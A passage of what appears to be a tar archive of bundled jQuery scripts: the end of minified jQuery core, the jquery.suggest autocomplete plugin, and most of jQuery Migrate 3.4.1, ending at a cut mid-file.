t=Ge(e,n),_e.test(t)?ce(e).position()[n]+"px":t})}),ce.each({Height:"height",Width:"width"},function(a,s){ce.each({padding:"inner"+a,content:s,"":"outer"+a},function(r,o){ce.fn[o]=function(e,t){var n=arguments.length&&(r||"boolean"!=typeof e),i=r||(!0===e||!0===t?"margin":"border");return M(this,function(e,t,n){var r;return y(e)?0===o.indexOf("outer")?e["inner"+a]:e.document.documentElement["client"+a]:9===e.nodeType?(r=e.documentElement,Math.max(e.body["scroll"+a],r["scroll"+a],e.body["offset"+a],r["offset"+a],r["client"+a])):void 0===n?ce.css(e,t,i):ce.style(e,t,n,i)},s,n?e:void 0,n)}})}),ce.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){ce.fn[t]=function(e){return this.on(t,e)}}),ce.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)},hover:function(e,t){return this.on("mouseenter",e).on("mouseleave",t||e)}}),ce.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,n){ce.fn[n]=function(e,t){return 0<arguments.length?this.on(n,null,e,t):this.trigger(n)}});var en=/^[\s\uFEFF\xA0]+|([^\s\uFEFF\xA0])[\s\uFEFF\xA0]+$/g;ce.proxy=function(e,t){var n,r,i;if("string"==typeof t&&(n=e[t],t=e,e=n),v(e))return r=ae.call(arguments,2),(i=function(){return e.apply(t||this,r.concat(ae.call(arguments)))}).guid=e.guid=e.guid||ce.guid++,i},ce.holdReady=function(e){e?ce.readyWait++:ce.ready(!0)},ce.isArray=Array.isArray,ce.parseJSON=JSON.parse,ce.nodeName=fe,ce.isFunction=v,ce.isWindow=y,ce.camelCase=F,ce.type=x,ce.now=Date.now,ce.isNumeric=function(e){var t=ce.type(e);return("number"===t||"string"===t)&&!isNaN(e-parseFloat(e))},ce.trim=function(e){return null==e?"":(e+"").replace(en,"$1")},"function"==typeof define&&define.amd&&define("jquery",[],function(){return ce});var tn=ie.jQuery,nn=ie.$;return ce.noConflict=function(e){return ie.$===ce&&(ie.$=nn),e&&ie.jQuery===ce&&(ie.jQuery=tn),ce},"undefined"==typeof e&&(ie.jQuery=ie.$=ce),ce}); jQuery.noConflict(); jquery/suggest.js 0000644 00000015517 15111757755 0010131 0 ustar 00 /* * jquery.suggest 1.1b - 2007-08-06 * Patched by Mark Jaquith with Alexander Dick's "multiple items" patch to allow for auto-suggesting of more than one tag before submitting * See: http://www.vulgarisoip.com/2007/06/29/jquerysuggest-an-alternative-jquery-based-autocomplete-library/#comment-7228 * * Uses code and techniques from following libraries: * 1. http://www.dyve.net/jquery/?autocomplete * 2. http://dev.jquery.com/browser/trunk/plugins/interface/iautocompleter.js * * All the new stuff written by Peter Vulgaris (www.vulgarisoip.com) * Feel free to do whatever you want with this file * */ (function($) { $.suggest = function(input, options) { var $input, $results, timeout, prevLength, cache, cacheSize; $input = $(input).attr("autocomplete", "off"); $results = $("<ul/>"); timeout = false; // hold timeout ID for suggestion results to appear prevLength = 0; // last recorded length of $input.val() cache = []; // cache MRU list cacheSize = 0; // size of cache in chars (bytes?) $results.addClass(options.resultsClass).appendTo('body'); resetPosition(); $(window) .on( 'load', resetPosition ) // just in case user is changing size of page while loading .on( 'resize', resetPosition ); $input.blur(function() { setTimeout(function() { $results.hide() }, 200); }); $input.keydown(processKey); function resetPosition() { // requires jquery.dimension plugin var offset = $input.offset(); $results.css({ top: (offset.top + input.offsetHeight) + 'px', left: offset.left + 'px' }); } function processKey(e) { // handling up/down/escape requires results to be visible // handling enter/tab requires that AND a result to be selected if ((/27$|38$|40$/.test(e.keyCode) && $results.is(':visible')) || (/^13$|^9$/.test(e.keyCode) && getCurrentResult())) { if (e.preventDefault) e.preventDefault(); if (e.stopPropagation) e.stopPropagation(); e.cancelBubble = true; e.returnValue = false; switch(e.keyCode) { case 38: // up prevResult(); break; case 40: // down nextResult(); break; case 9: // tab case 13: // return selectCurrentResult(); break; case 27: // escape $results.hide(); break; } } else if ($input.val().length != prevLength) { if (timeout) clearTimeout(timeout); timeout = setTimeout(suggest, options.delay); prevLength = $input.val().length; } } function suggest() { var q = $.trim($input.val()), multipleSepPos, items; if ( options.multiple ) { multipleSepPos = q.lastIndexOf(options.multipleSep); if ( multipleSepPos != -1 ) { q = $.trim(q.substr(multipleSepPos + options.multipleSep.length)); } } if (q.length >= options.minchars) { cached = checkCache(q); if (cached) { displayItems(cached['items']); } else { $.get(options.source, {q: q}, function(txt) { $results.hide(); items = parseTxt(txt, q); displayItems(items); addToCache(q, items, txt.length); }); } } else { $results.hide(); } } function checkCache(q) { var i; for (i = 0; i < cache.length; i++) if (cache[i]['q'] == q) { cache.unshift(cache.splice(i, 1)[0]); return cache[0]; } return false; } function addToCache(q, items, size) { var cached; while (cache.length && (cacheSize + size > options.maxCacheSize)) { cached = cache.pop(); cacheSize -= cached['size']; } cache.push({ q: q, size: size, items: items }); cacheSize += size; } function displayItems(items) { var html = '', i; if (!items) return; if (!items.length) { $results.hide(); return; } resetPosition(); // when the form moves after the page has loaded for (i = 0; i < items.length; i++) html += '<li>' + items[i] + '</li>'; $results.html(html).show(); $results .children('li') .mouseover(function() { $results.children('li').removeClass(options.selectClass); $(this).addClass(options.selectClass); }) .click(function(e) { e.preventDefault(); e.stopPropagation(); selectCurrentResult(); }); } function parseTxt(txt, q) { var items = [], tokens = txt.split(options.delimiter), i, token; // parse returned data for non-empty items for (i = 0; i < tokens.length; i++) { token = $.trim(tokens[i]); if (token) { token = token.replace( new RegExp(q, 'ig'), function(q) { return '<span class="' + options.matchClass + '">' + q + '</span>' } ); items[items.length] = token; } } return items; } function getCurrentResult() { var $currentResult; if (!$results.is(':visible')) return false; $currentResult = $results.children('li.' + options.selectClass); if (!$currentResult.length) $currentResult = false; return $currentResult; } function selectCurrentResult() { $currentResult = getCurrentResult(); if ($currentResult) { if ( options.multiple ) { if ( $input.val().indexOf(options.multipleSep) != -1 ) { $currentVal = $input.val().substr( 0, ( $input.val().lastIndexOf(options.multipleSep) + options.multipleSep.length ) ) + ' '; } else { $currentVal = ""; } $input.val( $currentVal + $currentResult.text() + options.multipleSep + ' ' ); $input.focus(); } else { $input.val($currentResult.text()); } $results.hide(); $input.trigger('change'); if (options.onSelect) options.onSelect.apply($input[0]); } } function nextResult() { $currentResult = getCurrentResult(); if ($currentResult) $currentResult .removeClass(options.selectClass) .next() .addClass(options.selectClass); else $results.children('li:first-child').addClass(options.selectClass); } function prevResult() { var $currentResult = getCurrentResult(); if ($currentResult) $currentResult .removeClass(options.selectClass) .prev() .addClass(options.selectClass); else $results.children('li:last-child').addClass(options.selectClass); } } $.fn.suggest = function(source, options) { if (!source) return; options = options || {}; options.multiple = options.multiple || false; options.multipleSep = options.multipleSep || ","; options.source = source; options.delay = options.delay || 100; options.resultsClass = options.resultsClass || 'ac_results'; options.selectClass = options.selectClass || 'ac_over'; options.matchClass = options.matchClass || 'ac_match'; options.minchars = options.minchars || 2; options.delimiter = options.delimiter || '\n'; options.onSelect = options.onSelect || false; options.maxCacheSize = options.maxCacheSize || 65536; this.each(function() { new $.suggest(this, options); }); return this; }; })(jQuery); jquery/jquery-migrate.js 0000644 00000076352 15111757755 0011421 0 ustar 00 /*! * jQuery Migrate - v3.4.1 - 2023-02-23T15:31Z * Copyright OpenJS Foundation and other contributors */ ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery" ], function( jQuery ) { return factory( jQuery, window ); } ); } else if ( typeof module === "object" && module.exports ) { // Node/CommonJS // eslint-disable-next-line no-undef module.exports = factory( require( "jquery" ), window ); } else { // Browser globals factory( jQuery, window ); } } )( function( jQuery, window ) { "use strict"; jQuery.migrateVersion = "3.4.1"; // Returns 0 if v1 == v2, -1 if v1 < v2, 1 if v1 > v2 function compareVersions( v1, v2 ) { var i, rVersionParts = /^(\d+)\.(\d+)\.(\d+)/, v1p = rVersionParts.exec( v1 ) || [ ], v2p = rVersionParts.exec( v2 ) || [ ]; for ( i = 1; i <= 3; i++ ) { if ( +v1p[ i ] > +v2p[ i ] ) { return 1; } if ( +v1p[ i ] < +v2p[ i ] ) { return -1; } } return 0; } function jQueryVersionSince( version ) { return compareVersions( jQuery.fn.jquery, version ) >= 0; } // A map from disabled patch codes to `true`. This should really // be a `Set` but those are unsupported in IE. var disabledPatches = Object.create( null ); // Don't apply patches for specified codes. Helpful for code bases // where some Migrate warnings have been addressed and it's desirable // to avoid needless patches or false positives. jQuery.migrateDisablePatches = function() { var i; for ( i = 0; i < arguments.length; i++ ) { disabledPatches[ arguments[ i ] ] = true; } }; // Allow enabling patches disabled via `jQuery.migrateDisablePatches`. // Helpful if you want to disable a patch only for some code that won't // be updated soon to be able to focus on other warnings - and enable it // immediately after such a call: // ```js // jQuery.migrateDisablePatches( "workaroundA" ); // elem.pluginViolatingWarningA( "pluginMethod" ); // jQuery.migrateEnablePatches( "workaroundA" ); // ``` jQuery.migrateEnablePatches = function() { var i; for ( i = 0; i < arguments.length; i++ ) { delete disabledPatches[ arguments[ i ] ]; } }; jQuery.migrateIsPatchEnabled = function( patchCode ) { return !disabledPatches[ patchCode ]; }; ( function() { // Support: IE9 only // IE9 only creates console object when dev tools are first opened // IE9 console is a host object, callable but doesn't have .apply() if ( !window.console || !window.console.log ) { return; } // Need jQuery 3.x-4.x and no older Migrate loaded if ( !jQuery || !jQueryVersionSince( "3.0.0" ) || jQueryVersionSince( "5.0.0" ) ) { window.console.log( "JQMIGRATE: jQuery 3.x-4.x REQUIRED" ); } if ( jQuery.migrateWarnings ) { window.console.log( "JQMIGRATE: Migrate plugin loaded multiple times" ); } // Show a message on the console so devs know we're active window.console.log( "JQMIGRATE: Migrate is installed" + ( jQuery.migrateMute ? "" : " with logging active" ) + ", version " + jQuery.migrateVersion ); } )(); var warnedAbout = {}; // By default each warning is only reported once. jQuery.migrateDeduplicateWarnings = true; // List of warnings already given; public read only jQuery.migrateWarnings = []; // Set to false to disable traces that appear with warnings if ( jQuery.migrateTrace === undefined ) { jQuery.migrateTrace = true; } // Forget any warnings we've already given; public jQuery.migrateReset = function() { warnedAbout = {}; jQuery.migrateWarnings.length = 0; }; function migrateWarn( code, msg ) { var console = window.console; if ( jQuery.migrateIsPatchEnabled( code ) && ( !jQuery.migrateDeduplicateWarnings || !warnedAbout[ msg ] ) ) { warnedAbout[ msg ] = true; jQuery.migrateWarnings.push( msg + " [" + code + "]" ); if ( console && console.warn && !jQuery.migrateMute ) { console.warn( "JQMIGRATE: " + msg ); if ( jQuery.migrateTrace && console.trace ) { console.trace(); } } } } function migrateWarnProp( obj, prop, value, code, msg ) { Object.defineProperty( obj, prop, { configurable: true, enumerable: true, get: function() { migrateWarn( code, msg ); return value; }, set: function( newValue ) { migrateWarn( code, msg ); value = newValue; } } ); } function migrateWarnFuncInternal( obj, prop, newFunc, code, msg ) { var finalFunc, origFunc = obj[ prop ]; obj[ prop ] = function() { // If `msg` not provided, do not warn; more sophisticated warnings // logic is most likely embedded in `newFunc`, in that case here // we just care about the logic choosing the proper implementation // based on whether the patch is disabled or not. if ( msg ) { migrateWarn( code, msg ); } // Since patches can be disabled & enabled dynamically, we // need to decide which implementation to run on each invocation. finalFunc = jQuery.migrateIsPatchEnabled( code ) ? newFunc : // The function may not have existed originally so we need a fallback. ( origFunc || jQuery.noop ); return finalFunc.apply( this, arguments ); }; } function migratePatchAndWarnFunc( obj, prop, newFunc, code, msg ) { if ( !msg ) { throw new Error( "No warning message provided" ); } return migrateWarnFuncInternal( obj, prop, newFunc, code, msg ); } function migratePatchFunc( obj, prop, newFunc, code ) { return migrateWarnFuncInternal( obj, prop, newFunc, code ); } if ( window.document.compatMode === "BackCompat" ) { // jQuery has never supported or tested Quirks Mode migrateWarn( "quirks", "jQuery is not compatible with Quirks Mode" ); } var findProp, class2type = {}, oldInit = jQuery.fn.init, oldFind = jQuery.find, rattrHashTest = /\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/, rattrHashGlob = /\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/g, // Require that the "whitespace run" starts from a non-whitespace // to avoid O(N^2) behavior when the engine would try matching "\s+$" at each space position. rtrim = /^[\s\uFEFF\xA0]+|([^\s\uFEFF\xA0])[\s\uFEFF\xA0]+$/g; migratePatchFunc( jQuery.fn, "init", function( arg1 ) { var args = Array.prototype.slice.call( arguments ); if ( jQuery.migrateIsPatchEnabled( "selector-empty-id" ) && typeof arg1 === "string" && arg1 === "#" ) { // JQuery( "#" ) is a bogus ID selector, but it returned an empty set // before jQuery 3.0 migrateWarn( "selector-empty-id", "jQuery( '#' ) is not a valid selector" ); args[ 0 ] = []; } return oldInit.apply( this, args ); }, "selector-empty-id" ); // This is already done in Core but the above patch will lose this assignment // so we need to redo it. It doesn't matter whether the patch is enabled or not // as the method is always going to be a Migrate-created wrapper. jQuery.fn.init.prototype = jQuery.fn; migratePatchFunc( jQuery, "find", function( selector ) { var args = Array.prototype.slice.call( arguments ); // Support: PhantomJS 1.x // String#match fails to match when used with a //g RegExp, only on some strings if ( typeof selector === "string" && rattrHashTest.test( selector ) ) { // The nonstandard and undocumented unquoted-hash was removed in jQuery 1.12.0 // First see if qS thinks it's a valid selector, if so avoid a false positive try { window.document.querySelector( selector ); } catch ( err1 ) { // Didn't *look* valid to qSA, warn and try quoting what we think is the value selector = selector.replace( rattrHashGlob, function( _, attr, op, value ) { return "[" + attr + op + "\"" + value + "\"]"; } ); // If the regexp *may* have created an invalid selector, don't update it // Note that there may be false alarms if selector uses jQuery extensions try { window.document.querySelector( selector ); migrateWarn( "selector-hash", "Attribute selector with '#' must be quoted: " + args[ 0 ] ); args[ 0 ] = selector; } catch ( err2 ) { migrateWarn( "selector-hash", "Attribute selector with '#' was not fixed: " + args[ 0 ] ); } } } return oldFind.apply( this, args ); }, "selector-hash" ); // Copy properties attached to original jQuery.find method (e.g. .attr, .isXML) for ( findProp in oldFind ) { if ( Object.prototype.hasOwnProperty.call( oldFind, findProp ) ) { jQuery.find[ findProp ] = oldFind[ findProp ]; } } // The number of elements contained in the matched element set migratePatchAndWarnFunc( jQuery.fn, "size", function() { return this.length; }, "size", "jQuery.fn.size() is deprecated and removed; use the .length property" ); migratePatchAndWarnFunc( jQuery, "parseJSON", function() { return JSON.parse.apply( null, arguments ); }, "parseJSON", "jQuery.parseJSON is deprecated; use JSON.parse" ); migratePatchAndWarnFunc( jQuery, "holdReady", jQuery.holdReady, "holdReady", "jQuery.holdReady is deprecated" ); migratePatchAndWarnFunc( jQuery, "unique", jQuery.uniqueSort, "unique", "jQuery.unique is deprecated; use jQuery.uniqueSort" ); // Now jQuery.expr.pseudos is the standard incantation migrateWarnProp( jQuery.expr, "filters", jQuery.expr.pseudos, "expr-pre-pseudos", "jQuery.expr.filters is deprecated; use jQuery.expr.pseudos" ); migrateWarnProp( jQuery.expr, ":", jQuery.expr.pseudos, "expr-pre-pseudos", "jQuery.expr[':'] is deprecated; use jQuery.expr.pseudos" ); // Prior to jQuery 3.1.1 there were internal refs so we don't warn there if ( jQueryVersionSince( "3.1.1" ) ) { migratePatchAndWarnFunc( jQuery, "trim", function( text ) { return text == null ? "" : ( text + "" ).replace( rtrim, "$1" ); }, "trim", "jQuery.trim is deprecated; use String.prototype.trim" ); } // Prior to jQuery 3.2 there were internal refs so we don't warn there if ( jQueryVersionSince( "3.2.0" ) ) { migratePatchAndWarnFunc( jQuery, "nodeName", function( elem, name ) { return elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase(); }, "nodeName", "jQuery.nodeName is deprecated" ); migratePatchAndWarnFunc( jQuery, "isArray", Array.isArray, "isArray", "jQuery.isArray is deprecated; use Array.isArray" ); } if ( jQueryVersionSince( "3.3.0" ) ) { migratePatchAndWarnFunc( jQuery, "isNumeric", function( obj ) { // As of jQuery 3.0, isNumeric is limited to // strings and numbers (primitives or objects) // that can be coerced to finite numbers (gh-2662) var type = typeof obj; return ( type === "number" || type === "string" ) && // parseFloat NaNs numeric-cast false positives ("") // ...but misinterprets leading-number strings, e.g. hex literals ("0x...") // subtraction forces infinities to NaN !isNaN( obj - parseFloat( obj ) ); }, "isNumeric", "jQuery.isNumeric() is deprecated" ); // Populate the class2type map jQuery.each( "Boolean Number String Function Array Date RegExp Object Error Symbol". split( " " ), function( _, name ) { class2type[ "[object " + name + "]" ] = name.toLowerCase(); } ); migratePatchAndWarnFunc( jQuery, "type", function( obj ) { if ( obj == null ) { return obj + ""; } // Support: Android <=2.3 only (functionish RegExp) return typeof obj === "object" || typeof obj === "function" ? class2type[ Object.prototype.toString.call( obj ) ] || "object" : typeof obj; }, "type", "jQuery.type is deprecated" ); migratePatchAndWarnFunc( jQuery, "isFunction", function( obj ) { return typeof obj === "function"; }, "isFunction", "jQuery.isFunction() is deprecated" ); migratePatchAndWarnFunc( jQuery, "isWindow", function( obj ) { return obj != null && obj === obj.window; }, "isWindow", "jQuery.isWindow() is deprecated" ); } // Support jQuery slim which excludes the ajax module if ( jQuery.ajax ) { var oldAjax = jQuery.ajax, rjsonp = /(=)\?(?=&|$)|\?\?/; migratePatchFunc( jQuery, "ajax", function() { var jQXHR = oldAjax.apply( this, arguments ); // Be sure we got a jQXHR (e.g., not sync) if ( jQXHR.promise ) { migratePatchAndWarnFunc( jQXHR, "success", jQXHR.done, "jqXHR-methods", "jQXHR.success is deprecated and removed" ); migratePatchAndWarnFunc( jQXHR, "error", jQXHR.fail, "jqXHR-methods", "jQXHR.error is deprecated and removed" ); migratePatchAndWarnFunc( jQXHR, "complete", jQXHR.always, "jqXHR-methods", "jQXHR.complete is deprecated and removed" ); } return jQXHR; }, "jqXHR-methods" ); // Only trigger the logic in jQuery <4 as the JSON-to-JSONP auto-promotion // behavior is gone in jQuery 4.0 and as it has security implications, we don't // want to restore the legacy behavior. if ( !jQueryVersionSince( "4.0.0" ) ) { // Register this prefilter before the jQuery one. Otherwise, a promoted // request is transformed into one with the script dataType and we can't // catch it anymore. jQuery.ajaxPrefilter( "+json", function( s ) { // Warn if JSON-to-JSONP auto-promotion happens. if ( s.jsonp !== false && ( rjsonp.test( s.url ) || typeof s.data === "string" && ( s.contentType || "" ) .indexOf( "application/x-www-form-urlencoded" ) === 0 && rjsonp.test( s.data ) ) ) { migrateWarn( "jsonp-promotion", "JSON-to-JSONP auto-promotion is deprecated" ); } } ); } } var oldRemoveAttr = jQuery.fn.removeAttr, oldToggleClass = jQuery.fn.toggleClass, rmatchNonSpace = /\S+/g; migratePatchFunc( jQuery.fn, "removeAttr", function( name ) { var self = this, patchNeeded = false; jQuery.each( name.match( rmatchNonSpace ), function( _i, attr ) { if ( jQuery.expr.match.bool.test( attr ) ) { // Only warn if at least a single node had the property set to // something else than `false`. Otherwise, this Migrate patch // doesn't influence the behavior and there's no need to set or warn. self.each( function() { if ( jQuery( this ).prop( attr ) !== false ) { patchNeeded = true; return false; } } ); } if ( patchNeeded ) { migrateWarn( "removeAttr-bool", "jQuery.fn.removeAttr no longer sets boolean properties: " + attr ); self.prop( attr, false ); } } ); return oldRemoveAttr.apply( this, arguments ); }, "removeAttr-bool" ); migratePatchFunc( jQuery.fn, "toggleClass", function( state ) { // Only deprecating no-args or single boolean arg if ( state !== undefined && typeof state !== "boolean" ) { return oldToggleClass.apply( this, arguments ); } migrateWarn( "toggleClass-bool", "jQuery.fn.toggleClass( boolean ) is deprecated" ); // Toggle entire class name of each element return this.each( function() { var className = this.getAttribute && this.getAttribute( "class" ) || ""; if ( className ) { jQuery.data( this, "__className__", className ); } // If the element has a class name or if we're passed `false`, // then remove the whole classname (if there was one, the above saved it). // Otherwise bring back whatever was previously saved (if anything), // falling back to the empty string if nothing was stored. if ( this.setAttribute ) { this.setAttribute( "class", className || state === false ? "" : jQuery.data( this, "__className__" ) || "" ); } } ); }, "toggleClass-bool" ); function camelCase( string ) { return string.replace( /-([a-z])/g, function( _, letter ) { return letter.toUpperCase(); } ); } var origFnCss, internalCssNumber, internalSwapCall = false, ralphaStart = /^[a-z]/, // The regex visualized: // // /----------\ // | | /-------\ // | / Top \ | | | // /--- Border ---+-| Right |-+---+- Width -+---\ // | | Bottom | | // | \ Left / | // | | // | /----------\ | // | /-------------\ | | |- END // | | | | / Top \ | | // | | / Margin \ | | | Right | | | // |---------+-| |-+---+-| Bottom |-+----| // | \ Padding / \ Left / | // BEGIN -| | // | /---------\ | // | | | | // | | / Min \ | / Width \ | // \--------------+-| |-+---| |---/ // \ Max / \ Height / rautoPx = /^(?:Border(?:Top|Right|Bottom|Left)?(?:Width|)|(?:Margin|Padding)?(?:Top|Right|Bottom|Left)?|(?:Min|Max)?(?:Width|Height))$/; // If this version of jQuery has .swap(), don't false-alarm on internal uses if ( jQuery.swap ) { jQuery.each( [ "height", "width", "reliableMarginRight" ], function( _, name ) { var oldHook = jQuery.cssHooks[ name ] && jQuery.cssHooks[ name ].get; if ( oldHook ) { jQuery.cssHooks[ name ].get = function() { var ret; internalSwapCall = true; ret = oldHook.apply( this, arguments ); internalSwapCall = false; return ret; }; } } ); } migratePatchFunc( jQuery, "swap", function( elem, options, callback, args ) { var ret, name, old = {}; if ( !internalSwapCall ) { migrateWarn( "swap", "jQuery.swap() is undocumented and deprecated" ); } // Remember the old values, and insert the new ones for ( name in options ) { old[ name ] = elem.style[ name ]; elem.style[ name ] = options[ name ]; } ret = callback.apply( elem, args || [] ); // Revert the old values for ( name in options ) { elem.style[ name ] = old[ name ]; } return ret; }, "swap" ); if ( jQueryVersionSince( "3.4.0" ) && typeof Proxy !== "undefined" ) { jQuery.cssProps = new Proxy( jQuery.cssProps || {}, { set: function() { migrateWarn( "cssProps", "jQuery.cssProps is deprecated" ); return Reflect.set.apply( this, arguments ); } } ); } // In jQuery >=4 where jQuery.cssNumber is missing fill it with the latest 3.x version: // https://github.com/jquery/jquery/blob/3.6.0/src/css.js#L212-L233 // This way, number values for the CSS properties below won't start triggering // Migrate warnings when jQuery gets updated to >=4.0.0 (gh-438). if ( jQueryVersionSince( "4.0.0" ) ) { // We need to keep this as a local variable as we need it internally // in a `jQuery.fn.css` patch and this usage shouldn't warn. internalCssNumber = { animationIterationCount: true, columnCount: true, fillOpacity: true, flexGrow: true, flexShrink: true, fontWeight: true, gridArea: true, gridColumn: true, gridColumnEnd: true, gridColumnStart: true, gridRow: true, gridRowEnd: true, gridRowStart: true, lineHeight: true, opacity: true, order: true, orphans: true, widows: true, zIndex: true, zoom: true }; if ( typeof Proxy !== "undefined" ) { jQuery.cssNumber = new Proxy( internalCssNumber, { get: function() { migrateWarn( "css-number", "jQuery.cssNumber is deprecated" ); return Reflect.get.apply( this, arguments ); }, set: function() { migrateWarn( "css-number", "jQuery.cssNumber is deprecated" ); return Reflect.set.apply( this, arguments ); } } ); } else { // Support: IE 9-11+ // IE doesn't support proxies, but we still want to restore the legacy // jQuery.cssNumber there. jQuery.cssNumber = internalCssNumber; } } else { // Make `internalCssNumber` defined for jQuery <4 as well as it's needed // in the `jQuery.fn.css` patch below. internalCssNumber = jQuery.cssNumber; } function isAutoPx( prop ) { // The first test is used to ensure that: // 1. The prop starts with a lowercase letter (as we uppercase it for the second regex). // 2. The prop is not empty. return ralphaStart.test( prop ) && rautoPx.test( prop[ 0 ].toUpperCase() + prop.slice( 1 ) ); } origFnCss = jQuery.fn.css; migratePatchFunc( jQuery.fn, "css", function( name, value ) { var camelName, origThis = this; if ( name && typeof name === "object" && !Array.isArray( name ) ) { jQuery.each( name, function( n, v ) { jQuery.fn.css.call( origThis, n, v ); } ); return this; } if ( typeof value === "number" ) { camelName = camelCase( name ); // Use `internalCssNumber` to avoid triggering our warnings in this // internal check. if ( !isAutoPx( camelName ) && !internalCssNumber[ camelName ] ) { migrateWarn( "css-number", "Number-typed values are deprecated for jQuery.fn.css( \"" + name + "\", value )" ); } } return origFnCss.apply( this, arguments ); }, "css-number" ); var origData = jQuery.data; migratePatchFunc( jQuery, "data", function( elem, name, value ) { var curData, sameKeys, key; // Name can be an object, and each entry in the object is meant to be set as data if ( name && typeof name === "object" && arguments.length === 2 ) { curData = jQuery.hasData( elem ) && origData.call( this, elem ); sameKeys = {}; for ( key in name ) { if ( key !== camelCase( key ) ) { migrateWarn( "data-camelCase", "jQuery.data() always sets/gets camelCased names: " + key ); curData[ key ] = name[ key ]; } else { sameKeys[ key ] = name[ key ]; } } origData.call( this, elem, sameKeys ); return name; } // If the name is transformed, look for the un-transformed name in the data object if ( name && typeof name === "string" && name !== camelCase( name ) ) { curData = jQuery.hasData( elem ) && origData.call( this, elem ); if ( curData && name in curData ) { migrateWarn( "data-camelCase", "jQuery.data() always sets/gets camelCased names: " + name ); if ( arguments.length > 2 ) { curData[ name ] = value; } return curData[ name ]; } } return origData.apply( this, arguments ); }, "data-camelCase" ); // Support jQuery slim which excludes the effects module if ( jQuery.fx ) { var intervalValue, intervalMsg, oldTweenRun = jQuery.Tween.prototype.run, linearEasing = function( pct ) { return pct; }; migratePatchFunc( jQuery.Tween.prototype, "run", function( ) { if ( jQuery.easing[ this.easing ].length > 1 ) { migrateWarn( "easing-one-arg", "'jQuery.easing." + this.easing.toString() + "' should use only one argument" ); jQuery.easing[ this.easing ] = linearEasing; } oldTweenRun.apply( this, arguments ); }, "easing-one-arg" ); intervalValue = jQuery.fx.interval; intervalMsg = "jQuery.fx.interval is deprecated"; // Support: IE9, Android <=4.4 // Avoid false positives on browsers that lack rAF // Don't warn if document is hidden, jQuery uses setTimeout (#292) if ( window.requestAnimationFrame ) { Object.defineProperty( jQuery.fx, "interval", { configurable: true, enumerable: true, get: function() { if ( !window.document.hidden ) { migrateWarn( "fx-interval", intervalMsg ); } // Only fallback to the default if patch is enabled if ( !jQuery.migrateIsPatchEnabled( "fx-interval" ) ) { return intervalValue; } return intervalValue === undefined ? 13 : intervalValue; }, set: function( newValue ) { migrateWarn( "fx-interval", intervalMsg ); intervalValue = newValue; } } ); } } var oldLoad = jQuery.fn.load, oldEventAdd = jQuery.event.add, originalFix = jQuery.event.fix; jQuery.event.props = []; jQuery.event.fixHooks = {}; migrateWarnProp( jQuery.event.props, "concat", jQuery.event.props.concat, "event-old-patch", "jQuery.event.props.concat() is deprecated and removed" ); migratePatchFunc( jQuery.event, "fix", function( originalEvent ) { var event, type = originalEvent.type, fixHook = this.fixHooks[ type ], props = jQuery.event.props; if ( props.length ) { migrateWarn( "event-old-patch", "jQuery.event.props are deprecated and removed: " + props.join() ); while ( props.length ) { jQuery.event.addProp( props.pop() ); } } if ( fixHook && !fixHook._migrated_ ) { fixHook._migrated_ = true; migrateWarn( "event-old-patch", "jQuery.event.fixHooks are deprecated and removed: " + type ); if ( ( props = fixHook.props ) && props.length ) { while ( props.length ) { jQuery.event.addProp( props.pop() ); } } } event = originalFix.call( this, originalEvent ); return fixHook && fixHook.filter ? fixHook.filter( event, originalEvent ) : event; }, "event-old-patch" ); migratePatchFunc( jQuery.event, "add", function( elem, types ) { // This misses the multiple-types case but that seems awfully rare if ( elem === window && types === "load" && window.document.readyState === "complete" ) { migrateWarn( "load-after-event", "jQuery(window).on('load'...) called after load event occurred" ); } return oldEventAdd.apply( this, arguments ); }, "load-after-event" ); jQuery.each( [ "load", "unload", "error" ], function( _, name ) { migratePatchFunc( jQuery.fn, name, function() { var args = Array.prototype.slice.call( arguments, 0 ); // If this is an ajax load() the first arg should be the string URL; // technically this could also be the "Anything" arg of the event .load() // which just goes to show why this dumb signature has been deprecated! // jQuery custom builds that exclude the Ajax module justifiably die here. if ( name === "load" && typeof args[ 0 ] === "string" ) { return oldLoad.apply( this, args ); } migrateWarn( "shorthand-removed-v3", "jQuery.fn." + name + "() is deprecated" ); args.splice( 0, 0, name ); if ( arguments.length ) { return this.on.apply( this, args ); } // Use .triggerHandler here because: // - load and unload events don't need to bubble, only applied to window or image // - error event should not bubble to window, although it does pre-1.7 // See http://bugs.jquery.com/ticket/11820 this.triggerHandler.apply( this, args ); return this; }, "shorthand-removed-v3" ); } ); jQuery.each( ( "blur focus focusin focusout resize scroll click dblclick " + "mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave " + "change select submit keydown keypress keyup contextmenu" ).split( " " ), function( _i, name ) { // Handle event binding migratePatchAndWarnFunc( jQuery.fn, name, function( data, fn ) { return arguments.length > 0 ? this.on( name, null, data, fn ) : this.trigger( name ); }, "shorthand-deprecated-v3", "jQuery.fn." + name + "() event shorthand is deprecated" ); } ); // Trigger "ready" event only once, on document ready jQuery( function() { jQuery( window.document ).triggerHandler( "ready" ); } ); jQuery.event.special.ready = { setup: function() { if ( this === window.document ) { migrateWarn( "ready-event", "'ready' event is deprecated" ); } } }; migratePatchAndWarnFunc( jQuery.fn, "bind", function( types, data, fn ) { return this.on( types, null, data, fn ); }, "pre-on-methods", "jQuery.fn.bind() is deprecated" ); migratePatchAndWarnFunc( jQuery.fn, "unbind", function( types, fn ) { return this.off( types, null, fn ); }, "pre-on-methods", "jQuery.fn.unbind() is deprecated" ); migratePatchAndWarnFunc( jQuery.fn, "delegate", function( selector, types, data, fn ) { return this.on( types, selector, data, fn ); }, "pre-on-methods", "jQuery.fn.delegate() is deprecated" ); migratePatchAndWarnFunc( jQuery.fn, "undelegate", function( selector, types, fn ) { return arguments.length === 1 ? this.off( selector, "**" ) : this.off( types, selector || "**", fn ); }, "pre-on-methods", "jQuery.fn.undelegate() is deprecated" ); 